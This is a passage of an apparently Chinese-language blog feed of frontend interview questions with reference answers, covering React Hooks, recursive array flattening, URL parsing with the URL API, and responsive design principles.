&lt;h3 id="一常用-react-hooks-介绍"&gt;一、常用 React Hooks 介绍&lt;/h3&gt;
&lt;h4 id="1-usestate--管理组件内部状态"&gt;1. &lt;code&gt;useState&lt;/code&gt; —— 管理组件内部状态&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;：定义响应式的本地状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;典型使用场景&lt;/strong&gt;：表单输入值、按钮开关、局部 UI 状态等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;setCount&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;useState&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h4 id="2-useeffect--副作用逻辑处理"&gt;2. &lt;code&gt;useEffect&lt;/code&gt; —— 副作用逻辑处理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：用于处理副作用逻辑，如数据请求、DOM 操作、订阅事件等。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;依赖数组决定副作用执行时机&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;常见场景&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;页面初始化请求数据（空依赖数组）&lt;/li&gt;
&lt;li&gt;监听某个状态变化触发逻辑（依赖项更新）&lt;/li&gt;
&lt;li&gt;组件卸载时清理订阅（返回 cleanup 函数）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;useEffect&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setInterval&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;tick&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; () =&amp;gt; &lt;span style="color:#a6e22e"&gt;clearInterval&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, []);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h4 id="3-useref--获取-dom-或存储跨渲染变量"&gt;3. &lt;code&gt;useRef&lt;/code&gt; —— 获取 DOM 或存储跨渲染变量&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：可以持久保存可变值而不触发组件重新渲染；或获取 DOM 元素引用。&lt;/p&gt;</description></item><item><title>字节-社招-1年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-51/round-73/</link><pubDate>Fri, 25 Jul 2025 08:13:19 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-51/round-73/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-51/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 事件冒泡、事件捕获、事件委托、浏览器的缓存机制、组件通信、异步组件&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-0fc964866a11"&gt;1. 实现数组里的拍平 数组本身的拍平&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;递归遍历数组并合并结果。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;判断元素类型是否为数组。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;结合ES6 flat方法提升效率。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解递归与数组操作"&gt;● 理解递归与数组操作&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察候选人对递归处理嵌套数据结构的能力。&lt;/p&gt;
&lt;h4 id="-掌握es6及新特性如flat"&gt;● 掌握ES6及新特性（如flat）&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;能结合不同方案解决扁平化问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * 递归实现数组拍平
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * @param {Array} arr - 待拍平数组，可能嵌套多层
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; * @returns {Array} - 扁平后的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flatten&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;item&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (Array.&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;concat&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;flatten&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者使用ES6内置方法（只拍平一层）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flatOnce&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;flat&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ES2019+ 支持深度拍平：&lt;/p&gt;</description></item><item><title>腾讯-CDG-暑期实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-50/round-72/</link><pubDate>Fri, 25 Jul 2025 07:46:26 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-50/round-72/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-50/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 22 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-cd4f699b78ff"&gt;1. 编写一个函数解析URL，提取其中的协议、域名、路径和查询参数&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;URL 结构 / URL API 使用 / 查询参数处理 / 错误处理&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解-url-结构及其组成部分"&gt;● 理解 URL 结构及其组成部分&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;面试官关注候选人是否熟悉 URL 的协议（scheme）、域名（host）、路径（path）、查询参数（query）等基本组成。&lt;/p&gt;
&lt;h4 id="-掌握字符串处理和正则表达式技巧"&gt;● 掌握字符串处理和正则表达式技巧&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;是否能用合适的方法提取各部分信息。&lt;/p&gt;
&lt;h4 id="-能写出健壮且兼容性好的解析函数"&gt;● 能写出健壮且兼容性好的解析函数&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考虑边界条件和异常输入。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="原理说明"&gt;原理说明&lt;/h4&gt;
&lt;p&gt;URL 由以下几部分构成（简化版）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;协议://域名\[:端口]/路径\[?查询参数]\[#锚点]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;协议（scheme）&lt;/strong&gt;：如 &lt;code&gt;http&lt;/code&gt;、&lt;code&gt;https&lt;/code&gt;、&lt;code&gt;ftp&lt;/code&gt; 等；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域名（host）&lt;/strong&gt;：主机名或 IP 地址；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路径（path）&lt;/strong&gt;：服务器资源路径；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询参数（query）&lt;/strong&gt;：&lt;code&gt;key=value&lt;/code&gt; 形式，多个参数用 &lt;code&gt;&amp;amp;&lt;/code&gt; 分隔。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解析时重点提取协议、域名、路径和查询参数。&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id="核心代码示例javascript"&gt;核心代码示例（JavaScript）&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parseURL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urlObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 提取协议，去掉末尾冒号
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;protocol&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urlObj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;protocol&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;replace&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 域名（包含端口，如果有）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;host&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urlObj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;host&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 路径
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urlObj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 查询参数转成对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;queryParams&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;urlObj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;forEach&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;queryParams&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;protocol&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;host&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;queryParams&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Error(&lt;span style="color:#e6db74"&gt;&amp;#39;Invalid URL&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="使用示例"&gt;使用示例&lt;/h5&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;https://www.example.com:8080/path/to/page?name=alice&amp;amp;age=25&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;result&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;parseURL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; protocol: &amp;#34;https&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; host: &amp;#34;www.example.com:8080&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; path: &amp;#34;/path/to/page&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; queryParams: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; name: &amp;#34;alice&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; age: &amp;#34;25&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h4 id="常见误区或面试陷阱"&gt;常见误区或面试陷阱&lt;/h4&gt;
&lt;h5 id="误区一使用正则解析复杂-url"&gt;误区一：使用正则解析复杂 URL&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;正则难以覆盖各种边界情况，不建议复杂场景使用；&lt;/li&gt;
&lt;li&gt;推荐使用浏览器内置的 &lt;code&gt;URL&lt;/code&gt; 类。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="误区二忽略端口号"&gt;误区二：忽略端口号&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;域名部分可能包含端口，直接取 &lt;code&gt;hostname&lt;/code&gt; 会缺失端口。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="误区三查询参数未统一处理"&gt;误区三：查询参数未统一处理&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;查询参数可能重复，需根据需求选择保存方式（这里简单取最后一个值）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="总结回顾"&gt;总结回顾&lt;/h3&gt;
&lt;p&gt;解析 URL 推荐使用原生 &lt;code&gt;URL&lt;/code&gt; API，简洁且兼容性好。重点提取协议、域名（含端口）、路径和查询参数，并把查询参数转换为对象方便后续使用。&lt;/p&gt;</description></item><item><title>腾讯-音乐 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-71/</link><pubDate>Fri, 25 Jul 2025 07:26:12 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-71/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-70/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 9 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c0f7694a5106"&gt;1. 讲一下“智慧医疗系统”项目背景、目标以及你主要负责的模块&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;结合自己简历上的一个亮点项目准备&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;结合自己简历上的一个亮点项目准备&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-dc8c6233-f645-444c-8e31-f18bc3f5244f"&gt;2. 什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/dc8c6233-f645-444c-8e31-f18bc3f5244f"&gt;什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;响应式设计（Responsive Design）是一种网页设计方法，旨在使网页在各种设备和屏幕尺寸上都能提供良好的用户体验。响应式设计通过使用流式布局、弹性网格和媒体查询，使得网页能够根据不同的设备特性（如屏幕大小、分辨率、方向等）自动调整其布局和内容。&lt;/p&gt;
&lt;h3 id="响应式设计的基本原理"&gt;响应式设计的基本原理&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流式布局（Fluid Layouts）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用相对单位（如百分比、&lt;code&gt;vw&lt;/code&gt;、&lt;code&gt;vh&lt;/code&gt;）而不是绝对单位（如像素），使得网页布局能够根据容器的宽度自动调整。例如，使用百分比设置宽度，可以让列宽度随着屏幕尺寸的变化而变化。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;弹性网格（Flexible Grid Systems）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用网格系统设计布局，将页面划分为多个灵活的区域。这些区域能够根据屏幕尺寸调整大小，从而实现不同设备上的适配。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;媒体查询（Media Queries）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 CSS 媒体查询，根据设备的特性（如宽度、高度、分辨率等）应用不同的样式规则。媒体查询可以针对不同的屏幕尺寸、方向（横向或纵向）等条件设置样式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
